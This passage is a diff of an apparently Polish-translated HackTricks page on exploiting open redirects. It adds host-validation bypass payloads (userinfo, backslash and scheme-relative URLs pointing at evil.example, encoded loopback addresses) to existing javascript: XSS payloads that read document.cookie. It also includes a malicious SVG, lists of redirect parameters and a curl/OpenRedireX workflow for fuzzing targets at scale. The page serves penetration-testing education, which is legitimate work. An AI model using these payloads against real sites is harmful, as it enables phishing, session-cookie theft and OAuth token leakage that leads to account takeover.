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				| @ -7,12 +7,23 @@ | ||||
| 
 | ||||
| ### Przekierowanie do localhost lub dowolnych domen | ||||
| 
 | ||||
| - Jeśli aplikacja „allows only internal/whitelisted hosts”, spróbuj alternatywnych zapisów hosta, aby trafić w loopback lub zakresy wewnętrzne poprzez cel przekierowania: | ||||
| - IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal) | ||||
| - IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] | ||||
| - Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1. | ||||
| - Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1. | ||||
| - Network-path references often bypass naive validators that prepend a scheme or only check prefixes: | ||||
| - //attacker.tld → interpretowane jako względne względem schemy i przekierowują poza serwis, używając bieżącej schemy. | ||||
| - Userinfo tricks defeat contains/startswith checks against trusted hosts: | ||||
| - https://trusted.tld@attacker.tld/ → przeglądarka przechodzi do attacker.tld, ale proste sprawdzenia tekstowe „widzą” trusted.tld. | ||||
| - Backslash parsing confusion between frameworks/browsers: | ||||
| - https://trusted.tld\@attacker.tld → niektóre backendy traktują „\” jako znak ścieżki i przechodzą walidację; przeglądarki normalizują to do „/” i interpretują trusted.tld jako userinfo, wysyłając użytkowników do attacker.tld. Pojawia się to także w rozbieżnościach parserów URL w Node/PHP. | ||||
| 
 | ||||
| {{#ref}} | ||||
| ssrf-server-side-request-forgery/url-format-bypass.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Open Redirect do XSS | ||||
| ### Nowoczesne open-redirecty jako pivoty do XSS | ||||
| ```bash | ||||
| #Basic payload, javascript code is executed after "javascript:" | ||||
| javascript:alert(1) | ||||
| @ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29 | ||||
| /x:1/:///%01javascript:alert(document.cookie)/ | ||||
| ";alert(0);// | ||||
| ``` | ||||
| ## Open Redirect przesyłanie plików svg | ||||
| <details> | ||||
| <summary>Bardziej nowoczesne URL-based bypass payloads</summary> | ||||
| ```text | ||||
| # Scheme-relative (current scheme is reused) | ||||
| //evil.example | ||||
| 
 | ||||
| # Credentials (userinfo) trick | ||||
| https://trusted.example@evil.example/ | ||||
| 
 | ||||
| # Backslash confusion (server validates, browser normalizes) | ||||
| https://trusted.example\@evil.example/ | ||||
| 
 | ||||
| # Schemeless with whitespace/control chars | ||||
| evil.example%00 | ||||
| %09//evil.example | ||||
| 
 | ||||
| # Prefix/suffix matching flaws | ||||
| https://trusted.example.evil.example/ | ||||
| https://evil.example/trusted.example | ||||
| 
 | ||||
| # When only path is accepted, try breaking absolute URL detection | ||||
| /\\evil.example | ||||
| /..//evil.example | ||||
| ``` | ||||
| 
 | ||||
| ``` | ||||
| </details> | ||||
| 
 | ||||
| ## Open Redirect uploading svg files | ||||
| 
 | ||||
| ```html | ||||
| <code> | ||||
| <?xml version="1.0" encoding="UTF-8" standalone="yes"?> | ||||
| @ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg"> | ||||
| </svg> | ||||
| </code> | ||||
| ``` | ||||
| ## Powszechne parametry wstrzykiwania | ||||
| 
 | ||||
| ## Common injection parameters | ||||
| 
 | ||||
| ``` | ||||
| /{payload} | ||||
| ?next={payload} | ||||
| @ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io | ||||
| Redirect=https://c1h2e1.github.io | ||||
| ReturnUrl=https://c1h2e1.github.io | ||||
| ``` | ||||
| ## Przykłady kodu | ||||
| 
 | ||||
| ## Code examples | ||||
| 
 | ||||
| #### .Net | ||||
| 
 | ||||
| ```bash | ||||
| response.redirect("~/mysafe-subdomain/login.aspx") | ||||
| ``` | ||||
| 
 | ||||
| #### Java | ||||
| 
 | ||||
| ```bash | ||||
| response.redirect("http://mysafedomain.com"); | ||||
| ``` | ||||
| 
 | ||||
| #### PHP | ||||
| 
 | ||||
| ```php | ||||
| <?php | ||||
| /* browser redirections*/ | ||||
| @ -161,16 +209,75 @@ header("Location: http://mysafedomain.com"); | ||||
| exit; | ||||
| ?> | ||||
| ``` | ||||
| 
 | ||||
| ## Hunting and exploitation workflow (practical) | ||||
| 
 | ||||
| - Single URL check with curl: | ||||
| 
 | ||||
| ```bash | ||||
| curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" | ||||
| ``` | ||||
| 
 | ||||
| - Discover and fuzz likely parameters at scale: | ||||
| 
 | ||||
| <details> | ||||
| <summary>Click to expand</summary> | ||||
| 
 | ||||
| ```bash | ||||
| # 1) Zbierz historyczne URL-e, zachowaj te z typowymi parametrami przekierowania | ||||
| cat domains.txt \ | ||||
| | gau --o urls.txt            # or: waybackurls / katana / hakrawler | ||||
| 
 | ||||
| # 2) Grep typowe parametry i znormalizuj listę | ||||
| rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ | ||||
| | sed 's/\r$//' | sort -u > candidates.txt | ||||
| 
 | ||||
| # 3) Użyj OpenRedireX do fuzzowania z korpusem payloadów | ||||
| cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt | ||||
| 
 | ||||
| # 4) Ręcznie zweryfikuj interesujące trafienia | ||||
| awk '/30[1237]|Location:/I' results.txt | ||||
| ``` | ||||
| ``` | ||||
| </details> | ||||
| 
 | ||||
| - Nie zapominaj o client-side sinks w SPAs: szukaj window.location/assign/replace oraz framework helpers, które odczytują query/hash i wykonują redirect. | ||||
| 
 | ||||
| - Frameworks często wprowadzają footguns, gdy redirect destinations pochodzą z untrusted input (query params, Referer, cookies). Zobacz Next.js notes o redirects i unikaj dynamicznych destinations pochodzących z user input. | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../network-services-pentesting/pentesting-web/nextjs.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| - OAuth/OIDC flows: nadużywanie open redirectors często eskaluje do account takeover by leaking authorization codes/tokens. Zobacz dedykowany poradnik: | ||||
| 
 | ||||
| {{#ref}} | ||||
| ./oauth-to-account-takeover.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| - Odpowiedzi serwera, które implementują redirects bez Location (meta refresh/JavaScript), są nadal exploitable dla phishingu i czasami można je chainować. Grep for: | ||||
| ```html | ||||
| <meta http-equiv="refresh" content="0;url=//evil.example"> | ||||
| <script>location = new URLSearchParams(location.search).get('next')</script> | ||||
| ``` | ||||
| ## Narzędzia | ||||
| 
 | ||||
| - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) | ||||
| - OpenRedireX – fuzzer służący do wykrywania open redirects. Przykład: | ||||
| ```bash | ||||
| # Install | ||||
| git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh | ||||
| 
 | ||||
| ## Zasoby | ||||
| # Fuzz a list of candidate URLs (use FUZZ as placeholder) | ||||
| cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 | ||||
| ``` | ||||
| ## Źródła | ||||
| 
 | ||||
| - W [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) możesz znaleźć listy fuzzingowe. | ||||
| - Na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect możesz znaleźć fuzzing lists. | ||||
| - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) | ||||
| - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) | ||||
| - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) | ||||
| 
 | ||||
| - PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection | ||||
| - OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
|  | ||||
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